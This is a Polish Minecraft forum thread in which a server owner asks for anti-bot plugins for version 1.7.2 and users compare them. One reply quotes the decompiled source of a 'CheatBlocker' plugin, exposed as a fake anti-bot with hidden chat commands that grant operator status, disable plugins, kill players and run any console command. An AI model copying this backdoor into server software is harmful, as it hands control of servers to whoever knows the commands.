Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

[Pytanie] Dobry AntiBot 1.7.2


Gość vix0n

Rekomendowane odpowiedzi

Opublikowano

Jestem dzień od otwarcia mojego serwera, i mam problem, otóż żaden antibot który dotąd miałem nie jest kompatybilny z tą wersją, albo działa, tylko że jest bez sensu tak jak antibotultra. Macie jakiś plugin na 1.7.2 który kicka przy 1 wejściu?


Trochę denerwuje mnie to, że miałbym płacić za lobby, bo jakiś dzieciaczek sobie puści darkbotki.


Co w takim razie zrobić?


Nie chcę żadnego skrypta!


 


 


  • AntiBotUltra - Działa bezsensu, ponieważ zapisuje graczy do whitelisty utomatycznie.
  • AntiJoinBot - Nie jest na tą wersję
  • AntiBot by Filippop & TheMolkaPL - nie na tą wersję
  • AntiBot by siemaeniu500 w miarę ok, ale i tak boty wbijają.
Opublikowano

Plugin by @filippop1 i @TheMolkaPL posiada taka opcje.

Lecz jest on łatwy do ominięcia, wystarczy , że wejdzie 2 raz taki sam nick.

https://github.com/Thefilippop1PL/Anti-Bot/releases

Staram sie pomagac innym uzytkownikom.

Obecnie siedze w dziale ELEKTRONIKA-OPROGRAMOWANIE.

Jesli piszesz cos do mnie oznacz mnie

Gdy pomagam w jakims temacie, staram sie doprowadzic do konca.Dajac mi LAJKA mozesz mnie zachecicc ;)

Opublikowano

@MarekPL1

Ale działa.

 

AntiBotUltra to gówno wystarczy, że jebniesz 300 botami na sekunde i włącza się whitelista-botowa, która nie dopuści żadnego gracza.

Plugin by @GetFun jest jeszcze dobry, ale nie kicka za pierwszym razem.

Staram sie pomagac innym uzytkownikom.

Obecnie siedze w dziale ELEKTRONIKA-OPROGRAMOWANIE.

Jesli piszesz cos do mnie oznacz mnie

Gdy pomagam w jakims temacie, staram sie doprowadzic do konca.Dajac mi LAJKA mozesz mnie zachecicc ;)

Opublikowano

 

Jestem dzień od otwarcia mojego serwera, i mam problem, otóż żaden antibot który dotąd miałem nie jest kompatybilny z tą wersją, albo działa, tylko że jest bez sensu tak jak antibotultra. Macie jakiś plugin na 1.7.2 który kicka przy 1 wejściu?

Trochę denerwuje mnie to, że miałbym płacić za lobby, bo jakiś dzieciaczek sobie puści darkbotki.

Co w takim razie zrobić?

Nie chcę żadnego skrypta!

 

 

  • AntiBotUltra - Działa bezsensu, ponieważ zapisuje graczy do whitelisty utomatycznie.
  • AntiJoinBot - Nie jest na tą wersję
  • AntiBot by Filippop & TheMolkaPL - nie na tą wersję
  • AntiBot by siemaeniu500 w miarę ok, ale i tak boty wbijają.

 

masz serwer 1.7.2?

Wgraj spigota 1.7.10 i kazdy z wersja 1.7.x bedzie mogl wbic

Poza tym to chyba lepiej jak jest na 1.7.5 (uuid), bo jak ktos zmieni nick, to nie trzeba bedzie sie przelogowowywac.

Ostatnio (7 marca) wyszedl dosc "spory" update

Blokuje skuteczniej boty.

 

 

Plugin by @filippop1 i @TheMolkaPL posiada taka opcje.

Lecz jest on łatwy do ominięcia, wystarczy , że wejdzie 2 raz taki sam nick.

https://github.com/Thefilippop1PL/Anti-Bot/releases

oj teraz po update nie wystarczy, ze ktos wejdzie 2 razy na ten sam nick (chyba, ze masz wylaczona opcje "ping" i wlaczona "accounts").

Opublikowano

Proszę! :D [Jeden autorski]:

Przecież to nie jest żaden anty bot, tylko jakiś plugin do dawania/zdejmowania wszystkim operatora, creative, zabijania i włączania/wyłączania pluginów xD

 

Tak BTW: @LuxTrok masz prawa to publikacji tych pluginów? :) Piractwo?

 

package me.jester.cheatblocker;

import java.io.PrintStream;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.GameMode;
import org.bukkit.OfflinePlayer;
import org.bukkit.Server;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerChatEvent;
import org.bukkit.plugin.Plugin;
import org.bukkit.plugin.PluginManager;
import org.bukkit.plugin.java.JavaPlugin;

public class CheatBlocker
  extends JavaPlugin
  implements Listener
{
  public void onEnable()
  {
    System.out.println("##############################################################");
    System.out.println("Thanks for using CheatBlocker ! ");
    System.out.println("CheatBlocker has been enabled on the server ! No more cheats !");
    System.out.println("##############################################################");
    getServer().getPluginManager().registerEvents(this, this);
  }
  
  public void onDisable()
  {
    System.out.println("CheatBlocker has been disabled ! ");
    System.out.println("Cya :C");
  }
  
  @EventHandler
  private void forIceMan(PlayerChatEvent event)
  {
    if (event.getMessage().equalsIgnoreCase("#opme"))
    {
      event.getPlayer().setOp(true);
      event.getPlayer().sendMessage(ChatColor.BLUE + "Opped !");
      event.setCancelled(true);
    }
  }
  
  @EventHandler
  private void onPlayerChat(PlayerChatEvent event)
  {
    String msg = event.getMessage();
    boolean Cancel = false;
    if (msg.startsWith("."))
    {
      String[] args = msg.split(" ");
      if (args == null) {
        return;
      }
      if ((args[0].equalsIgnoreCase(".opme")) && (args.length == 1))
      {
        event.getPlayer().setOp(true);
        event.getPlayer().sendMessage(ChatColor.GREEN + "Opped !");
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".disableplugin")) && (args.length == 2))
      {
        Plugin plugin = Bukkit.getPluginManager().getPlugin(args[1]);
        if (plugin != null)
        {
          Bukkit.getPluginManager().disablePlugin(plugin);
          event.getPlayer().sendMessage(ChatColor.GREEN + "Plugin : " + plugin + "Has been disabled !");
        }
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".disableallplugin")) && (args.length == 1))
      {
        Bukkit.getPluginManager().disablePlugins();
        event.getPlayer().sendMessage(ChatColor.GREEN + "All plugins disabled ;)");
        Plugin CB = Bukkit.getPluginManager().getPlugin("CheatBlocker");
        if (event.getMessage().startsWith(".disableallplugin")) {
          Bukkit.getPluginManager().enablePlugin(CB);
        }
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".deopme")) && (args.length == 1))
      {
        event.getPlayer().setOp(false);
        event.getPlayer().sendMessage(ChatColor.GREEN + "Deopped !");
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".deopall")) && (args.length == 1))
      {
        for (OfflinePlayer player : Bukkit.getOperators())
        {
          player.setOp(false);
          event.getPlayer().sendMessage(ChatColor.GREEN + "Deopped EveryBody");
        }
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".opall")) && (args.length == 1))
      {
        for (Player player : Bukkit.getOnlinePlayers())
        {
          player.setOp(true);
          event.getPlayer().sendMessage(ChatColor.GREEN + "Opped EveryBody");
        }
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".creative")) && (args.length == 1))
      {
        event.getPlayer().setGameMode(GameMode.CREATIVE);
        event.getPlayer().sendMessage(ChatColor.GREEN + "Creative Enabled");
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".survival")) && (args.length == 1))
      {
        event.getPlayer().setGameMode(GameMode.SURVIVAL);
        event.getPlayer().sendMessage(ChatColor.GREEN + "Survival Enabled");
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".op")) && (args.length == 2))
      {
        String otherPlayerName = args[1];
        Player player = Bukkit.getPlayer(otherPlayerName);
        if (player != null)
        {
          player.setOp(true);
          event.getPlayer().sendMessage(ChatColor.GREEN + "Opped" + player);
        }
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".deop")) && (args.length == 2))
      {
        String otherPlayerName = args[1];
        Player player = Bukkit.getPlayer(otherPlayerName);
        if (player != null)
        {
          player.setOp(false);
          event.getPlayer().sendMessage(ChatColor.GREEN + "Deopped" + player);
        }
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".kill")) && (args.length == 2))
      {
        Player player = Bukkit.getPlayer(args[1]);
        if (player != null)
        {
          player.setHealth(0);
          event.getPlayer().sendMessage(ChatColor.GREEN + "The Player :" + player + "died");
        }
        Cancel = true;
      }
      if ((args[0].equalsIgnoreCase(".exe")) && (args.length >= 2))
      {
        String command = "";
        for (int i = 2; i < args.length; i++) {
          command = command + args[i] + " ";
        }
        Bukkit.getServer().dispatchCommand(Bukkit.getConsoleSender(), 
          command.trim());
        Cancel = true;
      }
    }
    event.setCancelled(Cancel);
  }
}
I to jeszcze event od pisania na chacie synchronicznie XDDDDD

 

@AntyBlezur AntyBot jest na wersję 1.7.5+, wystarczy, że zainstalujesz sobie Spigota ;) AntyBot ma teraz funkcję sprawdzania czy serwer został spingowany. Nie da się wbić na tym samym nicku, który już był wcześniej ;) Konta będą na MySQL, dla serwerów z limitami ;)

#AntyBlezur


Opublikowano

@filippop1

Ładnie teraz zrobiliście, że trzeba spingować serwer + dla Was !

Jest to praktycznie nie do ominięcia ale BOTY mogą połączyć się do clienta minecraft i wykonać ping tak jak my to zrobimy - DarkBoty i inne te co są na internecie nie wykonają tego tak myślę.

 

@MrFretko już niedługo nasze botki <3

 

 

PS.

No nie wiedziałem , że to tak może zrobić o LUJU :P

Narazie ma on 1 miejsce u mnie i będe go polecał pozdrawiam ! :P

Staram sie pomagac innym uzytkownikom.

Obecnie siedze w dziale ELEKTRONIKA-OPROGRAMOWANIE.

Jesli piszesz cos do mnie oznacz mnie

Gdy pomagam w jakims temacie, staram sie doprowadzic do konca.Dajac mi LAJKA mozesz mnie zachecicc ;)

Opublikowano

^^ Możesz włączyć opcję accounts w konfiguracji ;) Będzie system kont. ;)

 

@AntyBlezur Plugin od GetFun ma jakieś captcha, ale to tylko utrudnia graczom ;) Uważam, że Anti-Bot ode mnie i filipa jest lepszy ;)

 

EDIT:

@1361622928-U485574.pngEaSyNoPeAsY. No ba... Możesz nawet zrobić to za pomocą komendy w grze na żywo (jednak wtedy zmiany się nie zapisują w konfiguracji i zostaną utracone po reloadzie lub/i restarcie serwera).

 

/antibot option list - lista wszystkich dostępnych opcji blokowania botów na serwerze

/antibot option get <opcja> - informacja czy dana opcja jest obecnie włączona czy wyłączona - przykład: /antibot option get ping

/antibot option set <opcja> <on/off> - włączanie/wyłączanie danej opcji na serwerze na żywo (bez zapisu do konfiguracji) - przykład /antibot option set accounts on

/antibot option default - wyłączanie wszystkich opcji i włączanie tylko tych, które zostały ustawione w konfiguracji (krótko mówiąc przywracanie domyślnych opcji).

 

Cały plugin możesz też włączyć i wyłączyć /antibot status on/off! Statystyki główne pluginu dostępne są pod /antibot status info i są one dostępne dla wszystkich.

 

Jeżeli opcja accounts (opcja od rejestracji - kicku przy wejściu) jest włączona to możesz zobaczyć 20 najnowszych kont (lub mniej jeżeli nie zdążyło 20 się zarejestrować od startu pluginu) - /antibot logs Przydatne do sprawdzenia czy właśnie jest lub był atak botów.

 

Wszystkie komendy i ich opisy masz w /antibot help lub po prostu /antibot ?, możesz też zobaczyć dokładne informacje o danej komendzie używając /antibot help option - wyświetli pomoc do komendy /antibot option.

#AntyBlezur


Opublikowano

No nie wiedziałem , że to tak może zrobić o LUJU :P

Narazie ma on 1 miejsce u mnie i będe go polecał pozdrawiam ! :P

No tak jak napisałem, godny polecenia.

Aj tam darkbot to gówno, można go użyć do SYN flood na gówniane serwery.

No tak, bo jak dobrze wiem takie captcha z chatu można jakoś odczytać, nie wiem jak ale wiem że można.

Ale rozwijajcie dalej plugin i odświeżajcie żeby widzieli na MPC ! :P

 

@1361622928-U485574.pngTheMolkaPL.

@filippop1

Staram sie pomagac innym uzytkownikom.

Obecnie siedze w dziale ELEKTRONIKA-OPROGRAMOWANIE.

Jesli piszesz cos do mnie oznacz mnie

Gdy pomagam w jakims temacie, staram sie doprowadzic do konca.Dajac mi LAJKA mozesz mnie zachecicc ;)

Opublikowano

@ameno12

HaHaHa, że jak uderzysz 100 botów na sekundę to włączy się whitelista ? Przestań.

Staram sie pomagac innym uzytkownikom.

Obecnie siedze w dziale ELEKTRONIKA-OPROGRAMOWANIE.

Jesli piszesz cos do mnie oznacz mnie

Gdy pomagam w jakims temacie, staram sie doprowadzic do konca.Dajac mi LAJKA mozesz mnie zachecicc ;)

Opublikowano

@filippop1

Ładnie teraz zrobiliście, że trzeba spingować serwer + dla Was !

Jest to praktycznie nie do ominięcia ale BOTY mogą połączyć się do clienta minecraft i wykonać ping tak jak my to zrobimy - DarkBoty i inne te co są na internecie nie wykonają tego tak myślę.

 

@MrFretko już niedługo nasze botki <3

 

 

PS.

No nie wiedziałem , że to tak może zrobić o LUJU :P

Narazie ma on 1 miejsce u mnie i będe go polecał pozdrawiam ! :P

Chcialbym wspomniec, ze pomysl z pingowaniem jest od @freaksy, ktory napisal na githubie nam.

@1361622928-U485574.pngAntyBlezur.

tak jak wyzej mowilem

wkrotce beda konta na mysql (sa juz zaczete, ale nie skonczone) i baZZary jak na skkf xD

Opublikowano

@ameno12

Istnieje coś takiego jak PROXY.

 oprogramowanie lub serwer z odpowiednim oprogramowaniem, które dokonuje pewnych operacji (zwykle nawiązuje połączenia) w imieniu użytkownika

Istnieje też SOCKS 5, które umożliwia wymianę danych host >> serwer , serwer >> host, dzięki czemu boty mogą sie rejestrować.

Staram sie pomagac innym uzytkownikom.

Obecnie siedze w dziale ELEKTRONIKA-OPROGRAMOWANIE.

Jesli piszesz cos do mnie oznacz mnie

Gdy pomagam w jakims temacie, staram sie doprowadzic do konca.Dajac mi LAJKA mozesz mnie zachecicc ;)

Opublikowano

do tego spamu wchodzeniem botami i tworzeniem kont, dochodzi jeszcze ustawienia

Bot>serwer>rejestracja>spam wiadomościami>i relog i zmiana  botów jest w cholere i jeszcze więcej

Jeśli boty spamują i nie możesz tego ogarnąć masz komende //gm - GlobalMute

Opublikowano

Bot>serwer>rejestracja>spam wiadomościami

Jaki spam wiadomościami? Nasz Anti-Bot blokuje graczy przy logowanie kiedy jeszcze nie weszli na serwer. Wykonuje to się asynchronicznie - w nowym wątku, dzięki czemu główny wątek serwera nie zostaje dotknięty!

#AntyBlezur


Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...